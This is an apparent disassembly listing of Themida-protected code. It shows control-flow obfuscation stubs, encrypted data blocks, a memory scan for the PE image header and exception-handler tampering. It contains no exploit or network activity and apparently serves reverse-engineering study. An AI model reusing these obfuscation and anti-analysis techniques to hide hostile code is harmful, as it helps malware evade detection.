cmpsd mov ecx, 2587E1Eh dec edx mov eax, [ebp+60B1889h] loc_57D4D5: ; CODE XREF: Themida_:0057D4A4j popa pusha push 0 push eax call sub_57D4E2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D4E2 proc near ; CODE XREF: Themida_:0057D4DAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_57D4E2 endp ; --------------------------------------------------------------------------- sbb cl, [esi-12h] aam 4Ah and al, [edi] clc mov ecx, 0FFFFFFFEh mov [ebp+60B2439h], ebx and [ebp+60B0869h], ecx push 0 push eax call sub_57D516 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D516 proc near ; CODE XREF: Themida_:0057D50Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_57D516 endp ; --------------------------------------------------------------------------- dw 8901h ; --------------------------------------------------------------------------- and [ebp+60B13E9h], ecx push 0 push eax call sub_57D539 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D539 proc near ; CODE XREF: Themida_:0057D531p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_57D539 endp ; --------------------------------------------------------------------------- db 8Fh, 0B0h, 0BFh ; --------------------------------------------------------------------------- fdivr dword ptr [ebx+ecx] mov ecx, [ebp+60B0869h] clc and ecx, 1 jnz loc_57D584 push 0 push ebp call sub_57D56A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D56A proc near ; CODE XREF: Themida_:0057D562p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_57D56A endp ; --------------------------------------------------------------------------- dw 5D29h dd 22946FD5h, 40E66161h ; --------------------------------------------------------------------------- loc_57D584: ; CODE XREF: Themida_:0057D559j mov ecx, [ebp+60B13E9h] push 0 push eax call sub_57D595 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D595 proc near ; CODE XREF: Themida_:0057D58Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_57D595 endp ; --------------------------------------------------------------------------- db 0Eh, 9, 1Bh dd 3395788Bh, 8E8685Ch, 30000000h, 46D92011h, 8B5F51CEh dd 0B07899Dh, 12E95F06h, 1B000000h, 0E9B5F35Fh, 1959FF0Fh dd 67785D0Ah, 0F7D77642h, 0F0816692h, 0E183B1E8h, 2A850F01h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 4DD2C357h, 512CE3EAh, 5AD3B70Fh dd 0F2C68166h, 8B6061A4h, 0B18B195h, 0FFFEB906h, 6AFFFFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8166D6C3h, 2192F6DAh, 0B2A9D8Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 8C7CB299h dd 0BF0FF20Ch, 6D8D21DAh, 6A060B2Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E3DBC357h dd 70A39D2Fh, 0E79BD8Bh, 8D8B060Bh, 60B2A9Dh, 7199D8Bh dd 0E183060Bh, 24850F01h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D455C356h dd 816628CBh, 8B0D85E0h, 0B2A6D8Dh, 0AD850906h, 83060B02h dd 850F01E1h, 22h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 4EC35343h, 0CC88268Ch, 60611DC3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E1C35242h, 0C7DC3476h dd 0B338585h, 7D006h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 8BB6B621h, 0B0415BDh dd 6A6106h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0EBFCA1C3h, 0E99D6107h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_57D787 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D787 proc near ; CODE XREF: Themida_:0057D77Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_57D787 endp ; --------------------------------------------------------------------------- db 0A1h dd 2634EC9h, 0DEBF0FB3h, 0F75B58Bh, 6A060Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D529E5C3h dd 95EC6693h, 459D095Fh, 8B060B09h, 75E9C1h, 66600000h dd 4A8D88Ch, 35840Fh, 16A0000h, 0B01B5FFh, 858D060Bh, 60E7D18h dd 8589D0FFh, 60B0F55h, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah dd 1000Dh, 0F5595FFh, 32E9060Bh, 0C6000000h, 0B284585h dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh dd 0A18589D0h, 8D060B33h, 0B0B6185h, 206A5006h, 0FF56056Ah dd 0B33A195h, 0C1C36106h, 4BEB06E0h, 2F0E0910h, 4B1AC53Ch dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 1B00A6DBh, 1A0046BDh dd 0D5A3EAh, 9C000000h, 0FEC919h, 0FBFE4700h, 28000000h dd 0D427E641h, 0E9C3727Dh, 0D0Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 30C35242h, 0D6816007h, 29C043E9h dd 0C0816651h, 61590C30h, 6798589h, 0BD83060Bh, 60B0B19h dd 5C850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 7C59C351h, 305FA29Dh dd 8BD9BBBDh, 0B1241BDh, 8B605606h, 0B06C18Dh, 0FD9D8B06h dd 61060B29h, 0B859h, 0FE90000h, 0E5000000h, 0F36104DCh dd 8DAA9417h, 67CBE14Ah, 4C2FB3Fh, 850F00h, 8B000000h dd 2820FC0h, 8B000000h, 0BDBD83F9h, 60B05h, 0BD830975h dd 60B29D1h, 50137400h, 0B8C08B53h, 4D0h, 0B0EE9D8Dh, 0D3FF060Dh dd 0BD83585Bh, 60B29D1h, 50117400h, 4D0B853h, 9D8D0000h dd 60DB03Bh, 585BD3FFh, 6D9D2B57h, 59060B2Eh, 8BF9BF0Fh dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8B66C3C0h, 999D8BCEh, 8D060B15h, 0F17EF85h dd 0B1BB6606h, 870F50F3h, 4, 877EB966h, 0F240489h, 680h dd 42EB8100h, 8D047768h, 0F17AC85h, 0F1816606h, 60503256h dd 0DCB4BABAh, 0AE81Bh, 6BB70000h, 83F64808h, 2EF5AE36h dd 489615Fh, 10E824h, 42420000h, 0DFAD6283h, 93FE1D63h dd 4B303DC1h, 0F58A2457h, 0A18D895Fh, 0FF060B02h, 0B052D95h dd 0A850F06h, 0F000000h, 481h, 0F5BF6600h, 24448BA3h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0F0B7C4C7h, 6E9971Eh, 0EA000000h, 0FB90901Fh, 0D785894Bh dd 6A060F17h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0AD52C351h, 0FCB7208Fh, 9BAA1B2h dd 0B19599Dh, 24448B06h, 0C98D8B08h, 89060B31h, 0F17EB85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 394770F8h, 60413F4Dh, 14E890h, 69FD0000h dd 0D44B0FF5h, 56699C11h, 5B61DCB0h, 0A58FD808h, 0E7801A37h dd 0BD835BA4h, 60B31C5h, 0B7850F00h, 0F9000000h, 284585C6h dd 8047060Bh, 4E851DBh, 0D2000000h, 8BD49AA7h, 8AB250D6h dd 424448Bh, 8BA8B2h, 448984B2h, 6A580424h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FF35C355h dd 0D6EA9E6Fh, 0C0189DC2h, 1355B5FFh, 0BF0F060Bh, 18858DC9h dd 89060E7Dh, 0B2991BDh, 6AD0FF06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2B90C357h dd 954E63BAh, 6649E529h, 89098DBBh, 0B31C585h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 958973EFh, 60B1A4Dh, 0BD835B51h, 60B13D1h, 0E5850F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 54A7C350h, 903125C3h, 0BFEBEB12h dd 57DE280Eh, 284585C6h, 0F847060Bh, 0CA94FC68h, 2404817Fh dd 0A4520E6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0DAC35747h, 0C2891519h, 147C886h, 0CE9B7h, 2D0F0000h dd 5D3DFC38h, 2894ED01h, 0BF0F29D7h, 55B5FFD0h, 6A060B13h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 7BC352h, 6E91F477h, 77A285C7h, 13E58531h dd 858D060Bh, 60E7D18h, 1B2D9D8Bh, 0D0FF060Bh, 39DF8166h dd 0D1858933h, 6A060B13h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0CDD5C351h, 95895154h dd 60B29D5h, 1975BD83h, 0F00060Bh, 0AE85h, 55958900h, 0C6060B1Ah dd 0B284585h, 6A5606h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 2AE0F2C3h, 20E04872h, 68CA8BDEh dd 0CBFB31C1h, 8B0F5260h, 0 ; --------------------------------------------------------------------------- pop eax mov ecx, 451A0D0Eh popa xor dword ptr [esp], 1FE45CF8h pusha xor [ebp+60B06C9h], eax popa push dword ptr [ebp+60B1355h] movzx ebx, ax lea eax, [ebp+60E7D18h] jmp loc_57DD23 ; --------------------------------------------------------------------------- dw 0ED51h dd 0B39E16A4h, 8D37DEEDh, 40407695h db 0AAh, 0A1h, 0C2h ; --------------------------------------------------------------------------- loc_57DD23: ; CODE XREF: Themida_:0057DD0Dj adc dx, 7F93h call eax mov [ebp+60B1389h], ebx mov [ebp+60B1975h], eax push 0 push eax call sub_57DD41 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57DD41 proc near ; CODE XREF: Themida_:0057DD39p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_57DD41 endp ; --------------------------------------------------------------------------- db 24h, 0Fh, 0 dd 0C62832BBh, 0B284585h, 9DB36C06h, 1AE30368h, 10BB60E8h dd 0BE2869E2h, 71EDDCC5h, 24348161h, 331F9380h, 17FD9D89h dd 0B5FF060Bh, 60B0B01h, 0D858DFCh, 66060B39h, 97A4C381h dd 0EE9h, 644CED00h, 49EFA9FCh, 0C4523383h, 0FF4096D0h dd 0CE9D0h, 5DD40000h, 18A8CD2h, 0CD984E1Ch, 8589FF59h dd 60F17DBh, 0EE8h, 3F26DD00h, 5C36B1E0h, 84B2F11Dh, 0B2DC8F19h dd 46A5FC7h, 78D0Fh, 890F0000h, 1, 90C068F8h, 481D17Dh dd 827F4024h, 0E860532Eh, 0Fh, 0C62F66D4h, 0B9C0237Bh dd 0E63042D1h, 5B870FE1h, 13E9h, 0EB239400h, 4929611Ah dd 0FFE5EFF5h, 0EFA5B75Fh, 54988F15h, 4E85961h, 0 dd 50000100h, 14E8h, 0E9506600h, 7670C19Ch, 699ECC35h dd 0B1DF8B10h, 0E42BFAFBh, 0CCBB669Fh, 448B59EEh, 0FFBA0424h dd 8B7AB27Bh, 0F793BB00h, 448934F1h, 8EB90424h, 58763EA3h dd 3281952Bh, 0F48A060Bh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0DA4904C3h, 95FF2DBDh dd 60B0B71h, 8589F1B3h, 60F17E7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 1CC35545h, 0F899255Bh, 21419531h dd 0F78A060Bh, 0BD8B006Ah, 60B005Dh, 865668h, 665250CAh dd 310FDE8Bh, 6E2D33BFh, 81585A14h, 79AA2404h, 0FEB53600h dd 89595350h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 58FC65C3h, 63D328A0h, 0FCBB6671h dd 600B6A12h, 23F08166h, 9E43BE5Ch, 8D613CA5h, 0F17B485h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0B6ADA348h, 509BDA77h, 0FE9C8F4h, 71000000h dd 95D56397h, 408D980Eh, 0A2B796B1h, 0CE8B1681h, 89CB8A50h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0A07D2EC3h, 0E94F02A7h, 0Eh, 14020A3Ch, 0ABE67AC5h dd 99C95256h, 95FFCD54h, 60B31C5h, 0EF2CB0BFh, 2ECA8145h dd 8D57A806h, 0F17BEB5h, 0F58D8B06h, 66060B19h, 5096D18Bh dd 59BDBA52h, 310F47C9h, 3846BF66h, 8B50585Ah, 0B96696FAh dd 4FBABF84h, 5023E765h, 11C6B860h, 0FA8B061Dh, 24048961h dd 14DD9523h, 95FF060Bh, 60B13D1h, 0B119D8Bh, 0DD80060Bh dd 0E9D0FF25h, 8, 0DD35616Eh, 422E3A5Ah, 17E7B58Bh, 0BF0F060Fh dd 0DF85C7FAh, 60F17h, 8B000000h, 0B2DE58Dh, 95896006h dd 60B15E9h, 0D8D7F6B8h, 7E80610Ah, 840F0020h, 394h, 2A8DB589h dd 6A60060Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 710AC351h, 414788D7h, 0FE8B9ED8h dd 6A20468Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 86FC351h, 6F4ADB3Ch, 70B9F773h dd 89456103h, 0F17E385h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0CA3C8997h, 179D7BC8h dd 8166788Eh, 6683EAE7h, 0AEB5E281h, 26E9F8h, 0BD090000h dd 60B1F41h, 52006A40h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 2DF2F870h, 0F003880h, 0FFFFD785h dd 1F860FFFh, 0E8000000h, 13h, 0E0997DF1h, 0F59ABE0Bh dd 21023972h, 8C20FED8h, 89C36B70h, 0B184D95h, 24E95B06h dd 0F000000h, 6A48DEBFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0CBCFC351h, 80DEB70Fh dd 840F5C38h, 77h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 1CC35747h, 0AE900h, 35F90000h, 1384DC65h dd 886214D1h, 0FF0E04BAh, 2F388046h, 3D840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 49D03DC3h, 68D0F5Eh, 89000000h, 0B0BDD95h, 0E3853B06h dd 0F060F17h, 0FFFF6583h, 599D8BFFh, 40060B1Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9CC35747h, 17EBBD83h dd 0F00060Fh, 0BD84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0FFF3497Fh, 0F045B5Dh dd 680h, 0DAD28100h, 503C5CF0h, 0DE8h, 0AA450E00h, 1E6D034h dd 1DDA2920h, 0BA667DEFh, 895B5B25h, 0B70F2404h, 3D0B5FBh dd 0F17EB85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 99D8B7Ch, 89060B02h, 0B1F8595h, 0C606h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EBC35141h dd 0B48B8753h, 0FE8h, 0AA87FC00h, 0C78002FEh, 0C57F02F7h dd 60CB0C33h, 585AB8B6h, 1FC9BD01h, 8950060Bh, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 614CD8C3h, 0E957D0EBh, 6, 0F786DB78h, 0BF0FF0FBh, 0D7B5FFD7h dd 6A060F17h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h ; --------------------------------------------------------------------------- loc_57E300: ; DATA XREF: Themida_:0053E900o push esi retn ; --------------------------------------------------------------------------- dw 654Fh dd 0A618536Eh, 13E9h, 9ACB9E00h, 0C8FC970h, 952ED7E7h dd 5BCE7009h, 4E0E335Fh, 17DB95FFh, 0B650060Fh, 0C00B5924h dd 4D850Fh, 8D8B0000h, 60B211Dh, 50B96661h, 0C18166B3h dd 85C7F52Eh, 60F17DFh, 1, 183D8D33h, 75E9060Bh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0A049C350h, 0DD2BF933h, 71BD0B20h, 61060B0Eh dd 81CAB70Fh, 11CC6h, 2DBD0900h, 0E9060B09h, 0FFFFFC9Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 99C35040h dd 0E8D5A992h, 0Dh, 9C0DFF23h, 4DC6A985h, 337E1B96h, 398D29FFh dd 5B060B2Fh, 801F6968h, 128E0F00h, 0E8000000h, 0Ah, 0D644025Ah dd 6C2E7C34h, 5B5647D3h, 2434815Bh, 809F69h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 25C35141h, 0BA449A37h dd 6DAF9A3h, 8D89006Ah, 60B0F2Dh, 17E7B5FFh, 0E580060Fh dd 7595FFC1h, 0F060B19h, 858BD7BFh, 60F17DFh, 0ACC98CB9h dd 9E9900Bh, 3000000h, 71EF014Fh, 74942902h, 28F0F50h dd 8A000000h, 958990D3h, 60B20C1h, 17EF858Dh, 0B760060Fh dd 0F9B58B6Ah, 61060B23h, 50D38B90h, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 47968122h dd 5DF2814Fh, 8D6B8EDAh, 0F17AC85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 5090F396h dd 6A90DA8Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0CC07C352h, 0F0E38ED0h, 0B9B5894Ah dd 0FF060B0Fh, 0B21ED95h, 8BEE8A06h, 0BE9C0h, 0BA580000h dd 0E171D12h, 0B8A28C0Ah, 0BDBD833Dh, 60B05h, 0BD830975h dd 60B29D1h, 50137400h, 0B8C08B53h, 4D0h, 0B1559D8Dh, 0D3FF060Dh dd 0BD83585Bh, 60B29D1h, 50117400h, 4D0B853h, 9D8D0000h dd 60DB054h, 585BD3FFh, 4359529h, 8F0F060Bh, 2, 6A33B6h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0CCE76BC3h, 8B2DD180h, 4840FC0h, 66000000h, 58E0FBB9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 60C35040h dd 5E8h, 0EFCFB300h, 0E1810F1Fh, 1AD08BB5h, 8C25Bh, 0CAB1C381h dd 0C08B4135h, 32B99D8Bh, 858D060Bh, 60F182Eh, 0B7D1C281h dd 858968C7h, 60B0781h, 0E0000BAh, 0EA81F0h, 83F00000h dd 958914C2h, 60B2065h, 8D14EA83h, 0F25CA85h, 0FF645006h dd 35h, 25896400h, 0 ; --------------------------------------------------------------------------- call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_57E601: ; CODE XREF: Themida_:0057E623j cmp word ptr [eax], 5A4Dh jnz loc_57E61E movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_57E628 loc_57E61E: ; CODE XREF: Themida_:0057E606j sub eax, 1000h jmp loc_57E601 ; --------------------------------------------------------------------------- loc_57E628: ; CODE XREF: Themida_:0057E618j mov ecx, eax mov [ebp+60B159Dh], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+60B17B5h], edx mov edx, [eax+50h] mov [ebp+60B0C69h], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+60B1B95h], edx add edx, [eax+8] mov [ebp+60B2E01h], edx pop large dword ptr fs:0 add esp, 4 jmp loc_57E681 ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_57E681: ; CODE XREF: Themida_:0057E669j cmp dword ptr [ebp+60B2715h], 0 jz loc_57E6B2 mov byte ptr [ebp+60B2845h], 47h push 0D49AA7D2h push dword ptr [ebp+60B1355h] lea eax, [ebp+60E7D18h] call eax push 0 call eax mov [ebp+60B0E25h], eax loc_57E6B2: ; CODE XREF: Themida_:0057E688j mov edx, ebx pusha push 0 push edx call sub_57E6C0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57E6C0 proc near ; CODE XREF: Themida_:0057E6B8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_57E6C0 endp ; --------------------------------------------------------------------------- lahf jmp loc_57E6E4 ; --------------------------------------------------------------------------- dw 9AB8h dd 2AE11BAFh, 33D8DCF9h, 9D629391h ; --------------------------------------------------------------------------- loc_57E6E4: ; CODE XREF: Themida_:0057E6D1j mov eax, eax push 0 push ebx call sub_57E6F1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57E6F1 proc near ; CODE XREF: Themida_:0057E6E9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_57E6F1 endp ; --------------------------------------------------------------------------- db 64h, 9Fh, 0BBh dd 0BDBD83F3h, 60B05h, 0BD830975h, 60B29D1h, 50197400h dd 0B8C08B53h, 438h, 2A358589h, 9D8D060Bh, 60DB31Ah, 585BD3FFh dd 29D1BD83h, 7400060Bh, 0B8535017h, 438h, 2A358589h, 9D8D060Bh dd 60DB009h, 585BD3FFh, 0BC99D89h, 6A060Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 14E9FFC3h dd 0A7000000h, 0ED9FC65Bh, 1D0D6612h, 266AA778h, 0AA93998Eh dd 8B995C92h, 1810FC0h, 0F8000000h, 7EDE8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0FC6515CDh, 8928A058h, 0B0419B5h, 0DD858906h, 6A060B1Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 97CCC356h, 0F823B354h, 11E9AFh, 60620000h dd 9F1AE1EBh, 27E08D1h, 8FB8F400h, 0E83DBA85h, 782h, 10159D29h dd 8D8B060Bh, 60B1571h, 1A498589h, 0BD33060Bh, 60B28EDh dd 765E8h, 0C9B70F00h, 19C98589h, 6A060Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C042C1C3h dd 40A0006Eh, 0B52994CAh, 60B092Dh, 54A8DE81h, 27E83415h dd 6A000007h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 1E5C353h, 0B12E18Dh, 7D858906h dd 6A060B1Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0DFA5C355h, 0A62FC6EBh, 21D8D09h dd 0D3E8060Bh, 0E9000006h, 0Ah, 0D26EE275h, 0DBDF157Fh dd 8589A7CFh, 60B2A41h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0DBC35242h, 3250583h, 0D975C2BEh, 694E8C1h dd 8D290000h, 60B0F41h, 27058589h, 6A060Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 29851CC3h dd 0FEBEE7B5h, 0E8235667h, 65Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 6FC35646h, 65B589FCh, 89060B22h dd 0B1AA985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 4EA252B9h, 3CC8A546h, 0F78B6657h dd 608E85Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 2F28BCC3h, 0A07C26C8h, 5E864ACh dd 0C2000000h, 0C6B52EB7h, 5FCF8B66h, 1058589h, 11E9060Bh dd 71000000h, 0A9A173C1h, 7A09DDAh, 3AEB0300h, 811E12F5h dd 5B5E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 318589DBh, 0BE060B1Ah, 17035366h dd 0FE8h, 50612300h, 9A3A6EDAh, 1A8DC29h, 1A03E192h, 2AADBD8Bh dd 0E859060Bh, 56Eh, 9E9h, 1ECB3200h, 7F678B18h, 85893090h dd 60B0ED9h, 318D8Bh, 4FE8060Bh, 0B000005h, 0B29E5BDh dd 55858906h, 66060B23h, 3BE8F88Bh, 66000005h, 5FDFE981h dd 21D98589h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 9EF94CC3h, 57C78166h, 508E8C5h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 634A77C3h, 0F1D3369Eh, 10E9h, 6ADB9C00h dd 581D2D12h, 3C5D26DBh, 6C53225Eh, 8D8589C6h, 60060B1Fh dd 0BE951h, 9F380000h, 405BD92Fh, 193340FFh, 0C78B5F5Ch dd 4B0E861h, 85890000h, 60B0FD5h, 5719509h, 9FE8060Bh dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 6665C357h, 54F68166h, 0A5858908h dd 6A060B0Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 7189C357h, 0B4829C94h, 0CDBD8B1Bh dd 0E8060B32h, 44Ah, 96DE8166h, 0A985892Fh, 6A060B12h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 7CBBC356h, 51F65667h, 13E857h, 0B3360000h dd 2891C685h, 9E1E59AAh, 0B308EC0Bh, 6D335417h, 0B05FF86Dh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 1D8D2310h, 60060B24h, 0F580F98Bh, 0B60F6115h dd 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 6BADFh, 0BD8B0000h, 60B21C1h, 8BFBB70Fh dd 95C5BFC3h, 0E8C114D2h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 922A806Fh dd 5D434BDCh, 8AEE8166h, 0E2F76663h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 4C35545h, 23CE08C1h, 0C781ABE5h dd 1CAB9D04h, 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 49701AC3h, 8E850h, 0EC280000h, 29622717h dd 6650F8B4h, 5E59F78Bh, 6A241C89h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8925C357h dd 0B13FD8Dh, 0ED95FF06h, 5B060B18h, 12E9h, 0B7243D00h dd 0E082D050h, 3028879Ah, 0BC0CD60Ch, 66D0E3AEh, 958DCB8Bh dd 60B182Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0F8C35343h, 39361445h, 0E26EA8Eh, 2860FABh, 8B000000h dd 0BE1A89F1h, 5D07294Eh, 89F78B66h, 7DBE0442h, 89785670h dd 0B31559Dh, 1D958D06h, 0F060B04h, 180h, 1A89F900h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h, 29B5899Ch dd 89060B04h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0D204B7C3h, 7E1C510Dh, 958DC88Bh dd 60B2075h, 33499589h, 13E9060Bh, 87000000h, 1A8E298Ch dd 139D9F76h, 1BA20158h, 31B021EAh, 1A89FFB5h, 19B58960h dd 0E8060B07h, 0Ch, 7CB0363Dh, 0BAA4918Ah, 899F4206h, 5EC88B66h dd 0FE961h, 3E620000h, 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah dd 44289DDh, 958DF38Bh, 60B15E1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 3AC35242h, 0DEA0FE58h, 5E91040Ch dd 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0E0CDA9C3h, 3467FA3Fh, 0B589A0DFh, 60B15C9h dd 6A044289h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0EABFC353h, 0A5EC56FDh, 8B536036h dd 0B04198Dh, 858B5F06h, 60B04B5h, 0D58D3361h, 8D060B26h 